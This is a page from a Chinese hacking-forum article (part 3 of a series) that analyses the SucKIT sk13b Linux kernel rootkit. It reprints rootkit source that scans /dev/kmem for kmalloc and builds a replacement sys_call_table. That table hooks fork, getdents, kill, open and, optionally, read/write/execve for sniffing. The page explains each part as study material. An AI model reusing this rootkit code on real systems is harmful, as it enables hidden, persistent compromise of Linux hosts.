| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
Linux后门系列(缩水版)         ★★★ 【字体:
Linux后门系列--由浅入深sk13完全分析(缩水版)
作者:wzt 文章来源:冷漠的博客 点击数: 更新时间:2007-12-4

     然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址

以下是代码片段:
ulong get_kma(int kmem, ulong pgoff, ulong *rgfp, ulong hint)
{
#define KCALL 8192
#define KSIZE (1024*1024*2)
#define BUFSZ (1024*64)
#define MAXGFP 0x0fff
#define MAXSIZE 0x1ffff
uchar buf[BUFSZ+64];
uchar *p;
ulong pos;
ulong gfp, sz, call;
kcall kcalls[KCALL];
int c, i, ccount;

gfp = sz = call = ccount = 0;

for (pos = pgoff; pos < (KSIZE + pgoff); pos += BUFSZ) {
c = rkm(kmem, buf, BUFSZ, pos);
if (ERR(c)) break;
/* 寻找push和call指令 */
for (p = buf; p < (buf + c); ) {
switch (*p++) {
case 0x68:
gfp = sz;
sz = *(ulong *) p;
p += 4;
continue;
case 0x6a:
gfp = sz;
sz = *p++;
continue;
case 0xe8:
call = *(ulong *) p + pos +
(p - buf) + 4;
p += 4;
if (gfp && sz &&
gfp <= MAXGFP &&
sz <= MAXSIZE) break;
default:
gfp = sz = call = 0;
continue;
}

for (i = 0; i < ccount; i++) {
if ((kcalls[i].addr == call) &&
(kcalls[i].gfp == gfp)) {
kcalls[i].count++;
goto outta;
}
}

if (ccount >= KCALL)
goto endsrch;

kcalls[ccount].addr = call;
kcalls[ccount].gfp = gfp;
kcalls[ccount++].count = 1;
outta:
}
}
endsrch:
if (!ccount) return 0;
c = 0;
for (i = 0; i < ccount; i++) {
if (hint) {
if (kcalls[i].addr == hint) {
c = i;
break;
}
} else {
if (kcalls[i].count > kcalls[c].count)
c = i;
}
}
*rgfp = kcalls[c].gfp;
return kcalls[c].addr;
#undef KCALL
#undef KSIZE
#undef BUFSZ
#undef MAXGFP
#undef MAXSIZE
}

kernel.c/kernel_init()函数



kernel.c的入口语句是:KINIT(mem, sct, sctp, oldsys);

/* initialization code (see install.c for details) */
void kernel_init(uchar *mem, ulong *sct, ulong *sctp[2], ulong oldsys)
{

/* ksize 为sk本身的大小 ,newsct指向刚才用kmalloc分配的内存区域 */

ulong ksize = (ulong) kernel_end - (ulong) kernel_start;
ulong *newsct = (void *) mem;

/* 将oldsys 保存到原来的地址处,oldsys 保存的是oldolduname系统调用的地址 */

sct[OURSYS] = oldsys;

/*

请看内存示意图

mem kernel_start kernel_init kernel_end
| | | |
V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc)
+------------------------------------------------------------------------------------
| 新的sys_call_table的数组 | | | 000000--------------000000|
+------------------------------------------------------------------------------------


memset(mem + SCT_TABSIZE + ksize, 0, PID_TABSIZE);

/* 保存老的sys_call_table指针 ,pidtab指向mem + SCT_TABSIZE + ksize内存区域 */

*oldsct() = (ulong) sct;
*pidtab() = (void *) (mem + SCT_TABSIZE + ksize);

/* 将老的sys_call_table的数组内容保存到mem开始出,这样newsct就保存了原sys_call_table的全部内容 */

memcpy(mem, sct, SCT_TABSIZE);

/*
下面就是修改系统调用指针入口来hook系统调用了

hook(OURCALL); 是一个宏调用

#define hook(name) \
newsct[__NR_##name] = ((ulong) new_##name - \
(ulong) kernel_start) + \
(ulong) mem + SCT_TABSIZE;

这样hook(OURCALL);就被展开为:

newsct[__NR_OURCALL] = ( (ulong) new_OURCALL - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

sk.h中OURCALL被定义为:
#define OURCALL oldolduname

newsct[__NR_oldolduname] = ( (ulong) new_oldolduname - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

在看内存示意图

mem kernel_start kernel_init kernel_end
| | | |
V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc)
+------------------------------------------------------------------------------------
| 新的sys_call_table的数组 | | | | 000000--------------000000|
+------------------------------------------------------------------------------------
^ ^
| |
oldolduname<------------new_oldolduname

用kernel.c中的new_oldolduname来指向原来的oldolduname

注意:oldsctp(),*oldsct(),*pidtab() 这3个函数的内存大小是怎么分配的,请看对kernel.c的分析

以下是代码片段:
*/

hook(OURCALL);
hook(clone);
hook(fork);
hook(vfork);
hook(getdents);
hook(getdents64);

hook(kill);
hook(open);
hook(close);
#ifdef SNIFFER
hook(read);
hook(write);
#endif
#ifdef SNIFFER
hook(execve);
#endif
#ifdef INITSTUFF
hook(utime);
hook(oldstat);
hook(oldlstat);
hook(oldfstat);
hook(stat);
hook(lstat);
hook(fstat);
hook(stat64);
hook(lstat64);
hook(fstat64);
hook(creat);
hook(unlink);
hook(readlink);
#endif



/* 将老的sys_call_table指针入口保存到oldsctp中 */

memcpy(oldsctp(), sctp, 2 * sizeof(ulong));

/* 用新的sys_call_table[]替换原来的sys_call_talbe,到此hook系统调用就成功了 */

*sctp[0] = (ulong) newsct; /* normal call */
*sctp[1] = (ulong) newsct; /* ptraced call */
}

到此sk的hook系统调用的过程就结束了。


补充:
kernel.c可为sk13b代码中较为复杂的代码了 ,如果要读懂它,需要对linux代码很熟悉.
基本上是一些系统调用的替带品,但是有些宏函数不是很好理解,我在这里简单提一下.

DVAR(pid_struc *, pidtab, NULL);
DVAR(ulong, oldsct, 0);

DVAR 是个宏调用;

在Rdata.h中定义如下:

#define DVAR(type, name, val) \
DARR(type, 1, name, val)

是个宏嵌套,DVRR如下:

以下是代码片段:
#define DARR(type, count, name, val...) \
struct s_##name { \
uchar s[5]; \
type l[count]; \
uchar f[2]; \
} __attribute__((packed)); \
static struct s_##name f_##name = \
{{0xe8, sizeof(f_##name.l) & 0xff, (sizeof(f_##name.l) >> 8) & 0xff, 0, 0}, \
, \
{0x58, 0xc3}}; \
static inline type *name(void) \
{ \
type *(*func)() = (void *) &f_##name; \
return func(); \
}

我们把DVAR(pid_struc *, pidtab, NULL);展开后看看

DVAR(pid_struc *, pidtab, NULL);

DVRR(pid_struc *, 1,pidtab, NULL);

struct s_pidtab{
uchar s[5];
pid_struc * l[1];
uchar f[2];
} __attribute__((packed)); /* __attribute__ ((packed)); 是说取消结构在编译过程中的优化对齐 */

static struct s_pidtab f_pidtab =
{{0xe8, sizeof(f_pidtab.l) & 0xff, (sizeof(f_pidtab.l) >> 8) & 0xff, 0, 0},
,
{0x58, 0xc3}};

static inline type *pidtab(void)
{
pid_struc* *(*func)() = (void *) &f_pidtab;
return func();
}


DARR(ulong *, 2, oldsctp);


这下明白oldsctp(),*oldsct(),*pidtab()这几个函数指针是什么意思了吧.


     六、总结

    现在对于sk hook系统调用的过程应该很清楚了吧,如果有其他函数或数据不了解的话,请参考它的全部代码.同时sk是通过读和写kmem来控制系统的,kmem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。但在有些系统如fc4上已经禁止写kmem了,所以sk13b自然在那些系统不能安装,也时很多sk的爱好者沮丧.

     七、参考

[1] Sk-1.3b source code by sd
[2] Linux on-the-fly kernel patching without LKM by sd&devik
[3] Linux 2.4.20-8 soucre code
[4] Intel 80386 Programmer's Reference Manual 

上一页  [1] [2] [3] 

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    注册表及组策略后门实测手札
    linux留本地后门两个方法
    三分钟搞定隐藏管理员
    Windows与Linux提权体验
    后门程序技术知识深解
    对Linux服务器四种入侵
    linux入侵踪迹隐藏攻略
    Vbs脚本实现radmin后门
    亮点频频的黑洞2007
    解析网页后门和挂马
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号